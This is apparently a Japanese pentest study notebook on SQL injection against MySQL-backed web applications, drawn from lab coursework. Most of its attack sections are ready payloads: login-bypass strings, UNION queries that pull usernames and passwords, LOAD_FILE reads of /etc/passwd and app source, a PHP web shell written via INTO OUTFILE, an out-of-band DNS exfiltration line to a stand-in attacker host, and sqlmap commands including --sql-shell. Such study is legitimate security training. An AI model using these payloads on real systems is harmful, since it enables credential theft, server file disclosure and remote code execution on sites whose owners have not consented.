> For the complete documentation index, see [llms.txt](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://snowyowls-organization.gitbook.io/snowyowl644-hacklog/pentest_technique/sql-injection.md).

# SQL Injection

## 概要

* 定義
  * Webアプリがユーザー入力をSQLクエリに直接含めると、攻撃者が意図しないクエリを実行させられる脆弱性
  * 主にリレーショナルDB（MySQLなど）を対象とした攻撃手法
* 発生条件
  * ユーザー入力がサニタイズ・バリデーションされず、SQLクエリに組み込まれる
  * 入力境界が適切に制御されていない（例：クォートのエスケープ不備）
* 攻撃手法
  * クエリ改変
    * 入力に `' OR '1'='1` などを仕込んで、WHERE句を常にTRUEにする
  * UNIONインジェクション
    * 本来のクエリに `UNION SELECT` を追加して他のテーブルのデータを取得
  * スタックドクエリ（複数クエリ実行）
    * `; DROP TABLE users;` のように、セミコロンで区切って別クエリを実行
  * ブラインドSQLi
    * 出力がない状況でも、条件分岐やレスポンス時間で情報を推測
  * エラーベース
    * SQLエラーに含まれる情報を利用してデータベース構造を把握
* 攻撃の影響
  * 認証回避（ログインバイパス）
  * 機密情報の漏洩（ID/パスワード、クレカなど）
  * 管理機能への不正アクセス
  * ファイル読み書き・リモートコード実行によるサーバー制御
  * 全サイト乗っ取り
* 防止策
  * 入力値のサニタイズ・エスケープ
    * プレースホルダーを使ったプリペアドステートメント（例：PDO, mysqli）
  * ホワイトリストによる入力制限
  * DBユーザー権限の最小化（読み取り専用、特定テーブルのみ許可など）
  * エラーメッセージの抑制（スタックトレースを表示しない）
  * WAFやセキュリティヘッダの活用
* 代表的な例（攻撃者視点）
  * 入力欄に `' OR '1'='1 --` を入れると、WHERE句が常にTRUEになるためログインバイパス可能
  * `UNION SELECT null, password FROM users` で他テーブルのデータ取得

## MySQL 入門

### コマンドラインでの接続

* `mysql` コマンドを使って、MySQLやMariaDBに接続する
* 接続時には
  * `-u` : ユーザー名
  * `-p` : パスワードを指定する
  * `-h` : ホストのを指定する
  * `-P` : ポートの指定
* パスワードはコマンドラインに直接書かず、プロンプトで入力する方が安全
  * `bash_history`などに平文で残るのを防げる

```bash
$ mysql -u <user> -p'<Password>'-h <ip> -P 3306 --skip-ssl-verify-server-cert
Enter password: <パスワード>
```

### SQL基本操作

#### よく使う参照

* `show databases;` : スキーマを一覧表示する
* `use employees;` : 操作するスキーマを指定する
* `show Tables;` : スキーマの中のテーブルを一覧表示する
* `show * from departments` : スキーマの中のテーブルの中身(レコード)を一覧表示する

```sh
show databases;
use employees;
show Tables;
select * from departments;
```

* INSERT（データの挿入）
  * 単一行挿入
    * `INSERT INTO テーブル名 VALUES (...);`
    * カラムすべてに値を指定する必要がある
  * 一部カラムだけ挿入
    * `INSERT INTO テーブル名(カラム1, カラム2) VALUES (...);`
    * DEFAULT値があるカラムは省略可、NOT NULL制約には注意
  * 複数行挿入
    * `INSERT INTO テーブル名(カラム1, ...) VALUES (...), (...);`
    * 一括挿入で効率よくデータ追加可能
* SELECT（データの取得）
  * 全件取得
    * `SELECT * FROM テーブル名;`
    * アスタリスクは全カラム対象
  * 特定カラムの取得
    * `SELECT カラム1, カラム2 FROM テーブル名;`
    * 必要なデータだけ取り出すときに便利
* UPDATE（既存データの更新）
  * `UPDATE テーブル名 SET カラム=新しい値 WHERE 条件;`
    * 特定条件に一致するレコードを更新
    * WHERE句を忘れると**全行が更新される**ので注意
  * 複数カラム同時更新も可（カンマ区切り）
* DROP（テーブル/DBの削除）
  * `DROP TABLE テーブル名;`
    * テーブル全体を完全削除（元に戻せない）
  * `DROP DATABASE データベース名;`
    * データベースごと削除可能
  * 削除は**即時反映・確認なし**なので、慎重に
* ALTER（テーブル構造の変更）
  * カラム追加
    * `ALTER TABLE テーブル名 ADD カラム名 データ型;`
  * カラム名変更
    * `ALTER TABLE テーブル名 RENAME COLUMN 旧名 TO 新名;`
  * カラム型変更
    * `ALTER TABLE テーブル名 MODIFY カラム名 新データ型;`
  * カラム削除
    * `ALTER TABLE テーブル名 DROP カラム名;`
  * テーブル自体のリネームも可能（ALTER TABLE テーブル名 RENAME TO 新名）

### クエリ

* ソート（ORDER BY）
  * 昇順（デフォルト）
    * `SELECT * FROM テーブル名 ORDER BY カラム名;`
  * 降順（DESC）
    * `SELECT * FROM テーブル名 ORDER BY カラム名 DESC;`
  * 複数カラムでのソート
    * `SELECT * FROM テーブル名 ORDER BY カラムA DESC, カラムB ASC;`
    * 複数条件を組み合わせたソートが可能
* 絞り込み（LIMIT）
  * 件数指定
    * `SELECT * FROM テーブル名 LIMIT 件数;`
    * 例：最初の2件だけ表示
  * オフセット付きLIMIT
    * `SELECT * FROM テーブル名 LIMIT オフセット, 件数;`
    * オフセットは0から始まる（例：LIMIT 1, 2 → 2行目から2件取得）
* 条件検索（WHERE）
  * 単純な条件
    * `SELECT * FROM テーブル名 WHERE カラム > 値;`
    * 数値はそのまま、文字列や日付はシングルクォートで囲む
  * 等価検索
    * `SELECT * FROM テーブル名 WHERE カラム = '値';`
  * UPDATEにも使える
    * `UPDATE テーブル名 SET カラム='値' WHERE 条件;`
  * 複数条件をつけたいときは、Where句の間に`AND`か`OR`を挟む
  * `AND` ・`OR`の後にはWHEREはいらない
* パターンマッチ（LIKE）
  * 前方一致
    * `SELECT * FROM テーブル名 WHERE カラム LIKE 'admin%';`
    * `%` は任意の文字列（0文字以上）
  * 文字数指定一致
    * `SELECT * FROM テーブル名 WHERE カラム LIKE '___';`
    * `_` は任意の1文字（例：3文字のデータ）

注意点

* 文字列や日付：**シングルクォートまたはダブルクォート**で囲む必要あり
* 数値：クォート不要でそのまま使用可能
* WHEREやORDER BY、LIMITは**組み合わせて使用可能**

#### SQL演算子

* 論理演算子（条件の組み合わせに使用）
  * AND
    * 両方の条件がtrueのときのみtrue
    * 例: `username != 'john' AND id > 1`
  * OR
    * どちらか一方でもtrueならtrue
    * 例: `id = 1 OR username = 'john'`
  * NOT
    * 条件の結果を反転（true → false、false → true）
    * 例: `NOT username = 'john'` または `username != 'john'`
* 記号による論理演算子（省略形）
  * `&&` → AND
  * `||` → OR
  * `!` → NOT
    * 例: `1 = 1 && 2 > 1` は `true`（1）
    * 例: `!(1 = 1)` は `false`（0）
* 比較演算子（条件指定に使用）
  * `=`（等しい）
  * `!=` または `<>`（等しくない）
  * `<`, `>`, `<=`, `>=`（大小比較）
  * `LIKE`（パターン一致）
    * `%`：任意の文字列
    * `_`：任意の1文字
    * 例: `username LIKE 'adm%'` → 「adm」で始まる
    * 例: `username LIKE '___'` → 3文字ちょうど
* 実用クエリ例
  * 特定ユーザー以外を取得
    * `SELECT * FROM logins WHERE username != 'john';`
  * 条件をANDで組み合わせ
    * `SELECT * FROM logins WHERE username != 'john' AND id > 1;`
* 演算子の優先順位（高い順）
  * `/`, `*`, `%`
  * `+`, `-`
  * `=`, `<`, `>`, `!=`, `LIKE`
  * `NOT`, `!`
  * `AND`, `&&`
  * `OR`, `||`
    * 上にあるものほど先に評価される
    * `SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;`\
      → `3 - 2` → `1` → 比較 → AND条件で絞り込み

注意点

* 文字列・日付は `' '`（クォート）で囲む
* 数値はそのままでOK
* 括弧 `()` を使って優先順位を明示できる（推奨）

## SQLインジェクション入門

* WebアプリとSQLの関係
  * バックエンドのDB（例：MySQL）に対して、アプリケーションがSQL文を実行してデータを操作
  * ユーザー入力がSQL文に組み込まれるケースが多い（例：検索機能）
* インジェクションとは
  * ユーザー入力を**サニタイズせずにSQLに渡すと、SQL文として解釈されてしまう**問題
  * `'` などの特殊文字を使って、**本来のクエリの枠を抜けて別のSQLを実行させる**
* 攻撃者視点の注目ポイント
  * `'; DROP TABLE users; --` のように、**クエリ末尾にコード注入**
  * `--` や `#` で残りのSQL文をコメントアウトして、構文エラーを防ぐ
  * クエリ全体を**構文的に成立させることが成功のカギ**
* インジェクションの種類（分類：出力の取り出し方法） ![](https://i.imgur.com/sksrJRS.png)
* In-band（インバンド）
  * Unionベース：`UNION SELECT` でクエリの結果をページに表示させる
  * エラーベース：エラーメッセージにSQLの出力を含ませる
* Blind（ブラインド）
  * Booleanベース：条件の結果で表示の有無が変わる → true/falseを見分ける
  * Timeベース：`SLEEP()` を使って、条件成立時にレスポンスを遅らせて判断
* Out-of-band（アウトオブバンド）
  * 結果をDNSリクエストなどで外部に送信（特殊環境）
* MySQLにおける注意点
  * 複数クエリ（`;` で区切る）の実行は通常**禁止されている**
  * そのため、**UNIONベースやエラーベースが主流**になる
  * クエリ中の構文エラーを防ぐために、**クォートの閉じ忘れや余分な文字列に注意**
* 攻撃に必要な情報
  * 元のクエリ構造（ブラックボックス環境では推測が必要）
  * カラム数、データ型の一致など（UNION使用時）
  * フロントエンドのレスポンス挙動（Blind SQLiで重要）

### クエリロジックの改変

* クエリ改変の基本
  * 入力値に `OR` や `'` を注入し、SQL文の評価結果を意図的に変える
  * 目的は「常にTRUE」になる条件を作り、認証などの制御をバイパスすること
* 認証バイパス（Authentication Bypass）
  * 典型的なログイン処理
    * `SELECT * FROM logins WHERE username='入力値' AND password='入力値';`
  * `OR` を使って常にTRUEにする
    * 例: `admin' OR '1'='1`
    * 結果: `username='admin' OR '1'='1' AND password='入力値'`
    * ロジック評価でTRUE → ログイン成功

#### 認証バイパス

**脆弱性の確認方法（SQLi Discovery）**

| Payload | URL Encoded |
| ------- | ----------- |
| `'`     | `%27`       |
| `"`     | `%22`       |
| `#`     | `%23`       |
| `;`     | `%3B`       |
| `)`     | `%29`       |
| 他のコマンド  |             |

* 参考 : <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md>

```sh
' False
'' True
" False
"" True
\ False
\\ True
```

* エラーが出ればSQL文の構文が壊れており、注入が効いている可能性大
* URLエンコードが必要なケースもある（例: `'` → `%27`）
* コメントアウトによる回避
  * SQL構文を成立させるために `--` または `#` を使って残りの文を無効化
  * 例: `' OR '1'='1' --`

**実用ペイロード**

* `' OR '1'='1`
* `admin' OR 1=1 --`
* `' OR 'a'='a`
* `" OR "1"="1`
* `' OR 1=1#`
* \`' OR '1
* `' OR 1 -- -`
* `" OR "" = "`
* `" OR 1 = 1 -- -`
* `'='`
* `'LIKE'`
* `'=0--+`
* パスワード側への注入
  * usernameが無効でも、passwordに注入することでバイパス可能
  * 例: パスワード欄に `something' OR '1'='1` を入れる
* クエリロジックの評価順（優先順位）
  * `AND` が `OR` より優先される（MySQLの演算子優先度）
  * 例: `' OR '1'='1' AND 'a'='b'` → `'1'='1'` がTRUEでも全体はFALSEになる可能性あり
  * 括弧で制御可能：`' OR ('1'='1' AND 'a'='b')`
* 注意点
  * 実際の環境ではセミコロンによる多段クエリは使えないことが多い（MySQLでは無効）
  * 有効なユーザー名を知らなくても、`OR '1'='1` によって最初の一致ユーザーでログイン可能

### UnionベースSQLインジェクション

* 目的と概要
  * UNIONを使って、本来アクセスできないテーブルの情報を取得する
  * 脆弱な検索や表示機能を通じて、DBの他テーブルと結合した結果を画面に表示させる
* 基本条件
  * `UNION` するSELECT文は、**列数とデータ型の並びが一致している必要がある**
  * `NULL` はどんな型にも使える万能ダミー値
  * ダミー列の例：`UNION SELECT username, NULL, NULL, NULL FROM users`
* 脆弱性の確認方法
  * `'` などを入力してSQL構文エラーが出るかを確認
  * エラーが出ればSQLインジェクションの可能性あり
* 列数の特定方法
  * `ORDER BY` を使う：
    * `' ORDER BY 1-- -` から始めて、表示が崩れる直前の数が列数
  * `UNION SELECT` を使う：
    * `' UNION SELECT 1,2,3-- -` と試し、エラーが出ない列数が正解
* 表示される列の特定
  * `1,2,3,4...` のような数字を使って、どの列が実際に画面に出力されるか確認する
  * 出力される列に `@@version` や `username` などの情報を挿入する
* 情報出力用テストペイロード
  * `' UNION SELECT 1,@@version,3,4-- -` → DBバージョンが表示されれば成功

#### 実用ペイロード例（目的別）

* テーブルの出力確認（どの列が表示されるか調べる）
  * `' UNION SELECT 1,2,3,4-- -`
    * 数字の位置が画面上に出れば、その列は表示されている
    * 表示されない列に攻撃しても結果は見えないため、重要な前準備
* DBバージョン情報の取得
  * `' UNION SELECT 1,@@version,3,4-- -`
    * `@@version` はDBMSのバージョンを取得できる関数（MySQL/MariaDB対応）
    * 成功すれば、SQLiが有効であることと出力確認が一度にできる
* 現在のDBユーザーの取得
  * `' UNION SELECT 1,user(),3,4-- -`
    * 現在接続中のDBユーザー名を表示
    * 特権ユーザー（例：`root@localhost`）かどうかを確認可能
* データベース名の取得
  * `' UNION SELECT 1,database(),3,4-- -`
    * 現在使用中のDB名がわかる
    * 他のDBにアクセスするための足がかりになる
* ユーザー情報の取得（パスワードなど）
  * `' UNION SELECT username, password, 3, 4 FROM users-- -`
    * `users` テーブルにある情報を盗み出す基本型
    * 第2・3列が表示されている前提で構成（前段の表示列確認が重要）
* 複数レコードの確認（データベース探索中）
  * `' UNION SELECT table_name, NULL, NULL, NULL FROM information_schema.tables-- -`
    * `information_schema` を使ってDB内のテーブル一覧を列挙
    * 同様に `columns` テーブルで列情報も取得可能
* 型合わせが難しいときの安全な列埋め
  * `' UNION SELECT username, NULL, NULL, NULL FROM users-- -`
    * `NULL` を使うと大抵の列に適合できる（型エラー防止）
    * 型不明な列にはこれを入れるのが無難
* よくある用途
  * DBのバージョンや現在のユーザー確認（例：`@@version`, `user()`）
  * 他テーブルの列・構造特定 → 機密情報（パスワード、メール等）の取得
* 注意点・対策されやすいポイント
  * UNIONが制限されている場合やWAFにブロックされる可能性あり
  * 表示されない列に注入しても結果は見えない
  * 列数・表示列・データ型を正確に見極める必要あり

## DB列挙

* 目的
  * SQLiを通じて、DB構造とデータを把握・抽出するための手順
  * 特に`INFORMATION_SCHEMA`を利用した構造調査が中心
* DBMSの特定（Fingerprinting）
  * DBの種類によって使える関数が異なるため、事前確認が必要
  * 判別用クエリ例：
    * `SELECT @@version` → MariaDB/MySQLならバージョンが出る
    * `SELECT SLEEP(5)` → ブラインドSQLi対応可否
    * `SELECT POW(1,1)` → 数字のみ出る環境でテスト可能

### データベース一覧の取得

* `INFORMATION_SCHEMA.SCHEMATA` にDB名が入っている
* `SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;`
* ※`mysql`, `performance_schema`, `information_schema` はデフォルトDB

```sql
' UNION SELECT 1, schema_name, 3, 4 FROM INFORMATION_SCHEMA.SCHEMATA-- -
```

### 現在使用中のDBを確認

* `SELECT database();`

```sql
' UNION SELECT 1, database(), 2, 3-- -
```

### テーブル一覧の取得

* `INFORMATION_SCHEMA.TABLES` に全テーブルの情報がある
* 重要カラム：`TABLE_NAME`, `TABLE_SCHEMA`

```sql
' UNION SELECT 1, TABLE_NAME, TABLE_SCHEMA, 4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='dev'-- -
```

### カラム一覧の取得

* `INFORMATION_SCHEMA.COLUMNS` に各テーブルの列情報がある
* 重要カラム：`COLUMN_NAME`, `TABLE_NAME`, `TABLE_SCHEMA`

```sql
' UNION SELECT 1, COLUMN_NAME, TABLE_NAME, TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='credentials'-- -
```

* 実データの抽出
  * 取得したDB名・テーブル名・カラム名を元に`UNION SELECT`で実行

```sql
' UNION SELECT 1, username, password, 4 FROM dev.credentials-- -
```

* ドット構文に注意：`<db>.<table>`
* 実用Tips
  * 表示される列の位置を最初に確認（例：`1,2,3,4`）
  * `NULL` や数値で列数合わせをするのが安定
  * 一気に全DB/全テーブルを取ろうとすると表示が崩れるため、絞り込みは必須（`WHERE`）
* よく出てくる機密情報の場所
  * `users`, `credentials`, `accounts`, `admin`, `api_keys` などのテーブル名
  * カラム名：`username`, `password`, `email`, `token`, `apikey`, `secret`

## ファイル読み取り

* 目的
  * SQLインジェクションを使って、**サーバ上のファイル内容を盗み見る**
  * 条件：DBユーザーが `FILE` 権限を持っていること
* 前提確認
  * まずは現在のDBユーザーを確認する
    * `SELECT USER();` または `SELECT CURRENT_USER();`
    * インジェクション例

```sql
' UNION SELECT 1, user(), 3, 4-- -
```

* 出力が `root@localhost` のような管理者ならチャンスあり
* 権限の確認
* `FILE` や `SUPER` 権限があるかをチェック
  * `SELECT super_priv FROM mysql.user WHERE user='root'`
  * `SELECT privilege_type FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"`
* ファイル読み込み方法（LOAD\_FILE）
  * MySQL/MariaDBの関数 `LOAD_FILE('<ファイルパス>')` を使用
  * 使用例：`LOAD_FILE('/etc/passwd')` インジェクション例

```sql
' UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -
```

* ※ `/etc/passwd` はLinuxのユーザー情報が書かれているファイル
* 出力確認ポイント
  * `root:x:0:0:root:/root:/bin/bash` → `/etc/passwd`が読めている証拠
  * HTMLファイルを読んだ場合は、ソースを「Ctrl + U」で確認
* ソースコードの読み取り
  * Webアプリのソース（例：`/var/www/html/search.php`）も対象

```sql
' UNION SELECT 1, LOAD_FILE('/var/www/html/search.php'), 3, 4-- -
```

* 出力確認
  * webページbのコードを読む
  * DB接続情報（ホスト名・ユーザー・パスワード）
  * 脆弱なSQL文やヒントになる処理
* 注意点
  * 読めるかどうかは、**MySQLが動いているOSユーザーのファイル権限に依存**
  * `secure_file_priv` の設定によって制限されている可能性もある
* よく狙われるファイル
  * `/etc/passwd`（UNIXユーザー一覧）
  * `/var/www/html/*.php`（アプリケーションのソースコード）
  * `.env` や `config.php`（環境変数・認証情報）

## ファイル書き込み

* 目的
  * SQLインジェクションで、サーバーに**ファイルを書き込む**
  * 例：サーバーにメッセージを書いたり、**Webシェル**を置いて操作する
* 書き込みに必要な条件
  * 自分のDBユーザーが**FILE権限**を持っている
  * `secure_file_priv` という設定が**空か無効**になっている
  * 書きたい場所に**書き込める権限**がある（例：`/var/www/html/`）
* 書き込みできるか確認する方法
  * 現在のユーザーを確認：`SELECT USER();`
  * `secure_file_priv` の状態を確認：
    * SQL例：`SELECT variable_value FROM information_schema.global_variables WHERE variable_name = "secure_file_priv";`
    * 空（""）ならOK！ 実際のsqlインジェクション例

```sql
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
```

* 書き込みのやり方（SELECT INTO OUTFILE）
  * 書き込み例（文字列を書き出す）：
    * `SELECT 'hello world' INTO OUTFILE '/tmp/test.txt';`
  * 書き込み例（テーブルの内容をファイルに保存）：
    * `SELECT * FROM users INTO OUTFILE '/tmp/users.txt';`

SQLインジェクションを使った書き込み例

```sql
' UNION SELECT 1, '書き込み成功！', 3, 4 INTO OUTFILE '/var/www/html/proof.txt'-- -
```

* 書き込んだファイルは、Webブラウザから確認できる：\
  例 → `http://<サーバーIP>/proof.txt`
* Webシェルの書き込み
  * 中身：`<?php system($_REQUEST[0]); ?>`
  * ペイロード例：

```sql
' UNION SELECT "", "<?php system($_REQUEST[0]); ?>", "", "" INTO OUTFILE '/var/www/html/shell.php'-- -
```

* 実行確認：
  * `http://<サーバーIP>/shell.php?0=id`
* 結果に `uid=33(www-data)` などが出たら、**コード実行に成功！**
* よくある書き込み先（Linuxの場合）
  * `/tmp/`（テスト用）
  * `/var/www/html/`（Webシェル用）
  * `/var/lib/mysql-files/`（MySQLのデフォルト）
* 注意点
  * 実行権限のあるWebディレクトリに書き込めないと、Webシェルは動かない
  * `secure_file_priv` が `NULL` の場合は**書き込みが完全に禁止されている**

## SQLMap

* SQLMapは、Pythonで書かれたオープンソースのペンテストツール
* SQLインジェクション（SQLi）の検出と悪用を自動化するためのもの

SQLMapの使い方

* コマンド例
  * `python sqlmap.py -u 'http://example.com/page.php?id=1'`
  * URLの`id=1`の部分が注入ポイントになりうる
* 初期段階では以下のことを自動でチェック
  * サーバーとの接続確認
  * ページの内容が安定しているか
  * `id`パラメータが動的かどうか（＝注入可能性があるか）
  * 使用されているデータベースの種類（MySQLなど）

#### 対応しているSQLインジェクションの種類

Boolean-based

* 条件が真・偽かで判断
* レスポンスが変わるかどうかを見る
* 攻撃者視点：サーバーの返すレスポンスで1ビットずつ情報を取れる。汎用性高。

```sql
AND 1=1
```

Error-based SQL Injection

* エラーメッセージを利用
* サーバーが返すエラー文に情報が含まれている
* 攻撃者視点：エラーメッセージにバージョンや構造情報が含まれる場合がある。

```sql
AND GTID_SUBSET(@@version,0)
```

UNION query-based

* 追加のSELECT文で情報を取り出す
* 結果をページに表示させて情報を得る
* 攻撃者視点：高速。条件が整えば1リクエストでDB丸ごと抜ける可能性。

```sql
UNION ALL SELECT 1,@@version,3
```

Stacked Queries

* 複数のクエリをまとめて送る
* 破壊的操作（DROPなど）も可能になる危険な手法
* 攻撃者視点：破壊系の操作（INSERT/DELETE等）も可能になる危険なタイプ。

```sql
; DROP TABLE users
```

Time-based blind SQL Injection

* レスポンス時間で判別
* 遅延があればTRUE、なければFALSEと判断
* 攻撃者視点：遅いが、レスポンスに変化がない場合にも利用可能。

```sql
AND 1=IF(2>1,SLEEP(5),0)
```

Inline queries

* クエリの中にクエリ
* 条件が整っていないと使いづらいが応用的
* 攻撃者視点：アプリの実装によっては有効。珍しいが対応しておくと強い。

```sql
SELECT (SELECT @@version) from
```

Out-of-band SQL Injection

* DNSなどを使って外部に情報送信
* すべての手法が使えないときの最終手段
* 攻撃者視点：サーバーがDNS問い合わせをする仕様なら、非同期に情報抜き取り可能。

```sql
LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))
```

### 基本的な利用シナリオ

* ペンテスターが最初に行う典型的な作業は、ユーザー入力を受け付けているGETパラメータ（例：id）があるWebページを確認すること
* そこでSQLインジェクションの脆弱性があるかをテストし、可能であれば悪用してデータベースの情報を取得したり、ファイルシステムやOSコマンドにアクセスしたりする

```sql
$link = mysqli_connect($host, $username, $password, $database, 3306);
$sql = "SELECT * FROM users WHERE id = " . $_GET["id"] . " LIMIT 0, 1";
$result = mysqli_query($link, $sql);
if (!$result)
    die("<b>SQL error:</b> ". mysqli_error($link) . "<br>\n");
```

### SQLMapの出力内容

SQLMap出力の読み方まとめ

* スキャン開始直後の確認
  * `target URL content is stable`
    * レスポンスにブレがない → 分析しやすい状況
    * 繰り返し同じリクエストを送っても、レスポンスがほぼ変わらない=ページの内容が安定しているという意味
    * これにより、SQLインジェクションによる微細な変化を検出しやすくなるため、非常に重要な前提条件
  * \`GET parameter 'id' appears to be dynamic
    * 値を変えるとレスポンスも変化 → SQL注入の可能性あり
* SQLiの兆候を検出したメッセージ
  * `might be injectable (possible DBMS: 'MySQL')`
    * エラーからMySQLっぽいと判定 → まだ確定ではない
  * `might be vulnerable to cross-site scripting (XSS) attacks`
    * SQLiではないが、XSSの可能性もあると教えてくれる
* データベースが推測された
  * `back-end DBMS is 'MySQL'`
    * 特定のDBに絞って効率的にテスト可能に
* 詳細テストに進む前の確認
  * `extend level and risk values?`
    * より多くのペイロードで深掘りしたい場合に有効
* テスト時の注意やヒント
  * `reflective value(s) found and filtering out`
    * ペイロードがそのまま表示されてる → 自動で除去して比較
  * `with --string=\"luther\"`
    * 特定の文字列を使ってTRUE/FALSEの判断をしてる
* 高度な手法での判定
  * `time-based comparison requires a larger statistical model`
    * レスポンスタイムを比較して注入を判断 → 時間がかかる
  * `ORDER BY technique appears to be usable`
    * UNIONを使うためのカラム数特定に役立つ
* 脆弱性が確定したとき
  * `GET parameter 'id' is vulnerable`
    * この時点で注入が可能と確定！重要ポイント！
* 最終結果のまとめ
  * `sqlmap identified the following injection point(s):`
    * 発見された手法ごとの詳細ペイロードが表示される
  * `fetched data logged to text files under ...`
    * すべての出力データが保存された場所を教えてくれる

### HTTPリクエストに対してSQLMapを使う

* 基本的な考え方
  * SQLMapは「指定されたリクエスト」にSQLインジェクションできるかを自動で調べるツール
  * パラメータがどこにあるか、どの形式かを正しく伝えることが大事

#### cURLの値を使用する

* 特定のターゲットに対してSQLMapを正確に設定するもっとも簡単かつ実用的な方法の1つは、ブラウザの開発者ツールで利用できる 「Copy as cURL」機能を使うこと
* Chrome・Edge・Firefoxの開発者ツールにある「Network（ネットワーク）」タブでアクセスできる

```sh
sqlmap 'http://www.example.com/?id=1' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0' -H 'Accept: image/webp,*/*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'DNT: 1'
```

![](https://i.imgur.com/Y0urw2p.png)

#### POST / GETリクエスト

GETリクエストを使うとき

* `-u`オプションでURL指定 → パラメータがURLに含まれている場合に使う

```shell-session
sqlmap 'http://www.example.com/' --data 'uid=1&name=test'
```

POSTリクエストを使うとき

* `--data`オプションでPOSTパラメータを指定

```shell-session
sqlmap 'http://www.example.com/' --data 'uid=1&name=test' -X POST
```

* `-p`オプションで特定パラメータだけを調べる
* `*`を使って注入対象のパラメータを明示できる
  * 例：`--data "id=1*&name=test"`

#### 複雑なHTTPリクエスト

* たくさんのヘッダーやPOSTデータがある場合、Burpなどで取得した生のHTTPリクエストをファイル化して使うのが便利
* リクエストをファイルにして `-r` オプションで指定 ![](https://i.imgur.com/Rmg8Lp1.png)
* Burp Suiteなどでリクエストを保存してファイル化できる

```shell-session
sqlmap -r req.txt
```

#### カスタムSQLMapリクエスト

セッションクッキーの指定

* たとえば、ログイン後にしかアクセスできないページを検査する場合など、セッションID（例：PHPSESSID）を指定する必要がある

```shell-session
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'
```

* 攻撃者視点ポイント
  * このようなセッションを持っている＝ログイン状態での攻撃が可能。
  * 権限を持ったユーザーとしてSQLiを試せるので、管理画面や会員情報が狙える。
* `-H`オプションで指定することもできる
* `--random-agent`を使えば、User-AgentをランダムにしてWAF対策できる

HTTPヘッダーの中でSQLiを試す方法

* 通常、SQLMapはGETやPOSTのパラメータにだけ注目しますが、ヘッダー内にSQLインジェクションの可能性がある場合も検査可能
* 例えば、Cookie内のidに対してインジェクションしたいときは`--cookie="id=1*"`

```shell-session
sqlmap -u www.target.com --data='id=1' --method PUT
```

#### カスタムHTTPリクエストの扱い（JSON・XML対応）

* JSONやXMLデータを使いたいとき
  * JSONやXMLのPOSTデータも扱える（`--data` または `-r`）
  * データが長いときは `-r` でファイル指定が推奨される

```shell-session
snowyowl644@htb[/htb]$ cat req.txt
HTTP / HTTP/1.0
Host: www.example.com

{
  "data": [{
    "type": "articles",
    "id": "1",
    "attributes": {
      "title": "Example JSON",
      "body": "Just an example",
      "created": "2020-05-22T14:56:29.000Z",
      "updated": "2020-05-22T14:56:28.000Z"
    },
    "relationships": {
      "author": {
        "data": {"id": "42", "type": "user"}
      }
    }
  }]
}
```

* その他のオプション
  * `--method` でHTTPメソッド（PUTなど）を指定できる
    * 例：`--method PUT`
  * SQLMapは「動的なパラメータ」に対してのみ注入を試みる
    * → レスポンスが変化しないと「静的」と判断され、スキップされることも

```shell-session
snowyowl644@htb[/htb]$ sqlmap -r req.txt
```

* 攻撃者として注目すべきポイント
  * Cookieやヘッダーが必要なアプリでは、正確に再現することが超重要
  * `*`で注入ポイントを限定すると、無駄な試行が減って効率的
  * JSONやXMLの中でもインジェクションは可能 → フィールドごとに確認

#### 攻撃が成功したら

保存されてるセッションが保存されているディレクトリに移動

```sh
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[07:41:09] [INFO] fetched data logged to text files under '/home/htb-ac-1632385/.local/share/sqlmap/output/94.237.58.172'

┌─[us-academy-3]─[10.10.14.83]─[htb-ac-1632385@htb-yxgqrc876x]─[~]
└──╼ [★]$ cd /home/htb-ac-1632385/.local/share/sqlmap/output/94.237.58.172
```

保存したセッション情報を使って、DBを参照する

```sh
sqlmap -s *.sqlite -u <攻撃時にsqlmapの後に送ったwebページ情報> --sql-shell
```

Burp Suiteのファイルを使うとき

```sh
sqlmap -s *.sqlite -r post.txt --sql-shell
```

### エラー対処法

**エラー表示の活用**

* `--parse-errors` オプションを有効にする
  * SQLMapが**データベースから返されたエラーメッセージ**を自動で解析して表示してくれる

**トラフィックログの保存**

* SQLMapに送受信したHTTPトラフィックをログファイルに保存させることもできる

```shell-session
sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt
```

* HTTPのリクエスト・レスポンスが生ログで記録されるので、「どのペイロードで反応したのか」や「WAFにブロックされていないか」などを手動で確認できる。

**詳細出力モード**

* -v オプションで、SQLMapの出力の詳細レベルを上げることができる
* 最大値は -v6 : すべてのリクエストとレスポンスが表示される

```shell-session
sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch
```

**プロキシの使用（--proxy）**

* 最後に、すべてのSQLMapトラフィックを**Burp Suite**に流すことも可能

```sql
sqlmap -u "http://..." --proxy="http://127.0.0.1:8080"
```

* Burpを通すことで、SQLMapが送っている全リクエストをGUIで観察できる
* 繰り返し実行や改変、再送信、リプレイ攻撃などの検証ができる
* 特定パラメータの手動調整もやりやすい

### 攻撃チューニング

* 通常、SQLMapは指定されたターゲットに対して「そのまま」使える設計になっている
* しかし、検出制度を高めるためのオプション調整もできる

SQLMapが送る**インジェクションペイロード**は、以下の2つの要素で構成される

* Vector
  * 実際に実行されるSQLの中核部分で、攻撃の本体
  * 例
    * `UNION ALL SELECT 1,2,VERSION()`
* boundaries
  * プレフィックス／サフィックス（前後の囲い）。
  * SQL文の中にベクターをうまく埋め込むためのお膳立て部分
  * 例
    * `<vector>-- -`

#### Prefix/Suffix

* 一部の特殊なターゲットでは、ベクターをうまく注入するためにカスタムのプレフィックスやサフィックスが必要になる
* その場合は、--prefix と --suffix を使って明示的に指定する

```bash
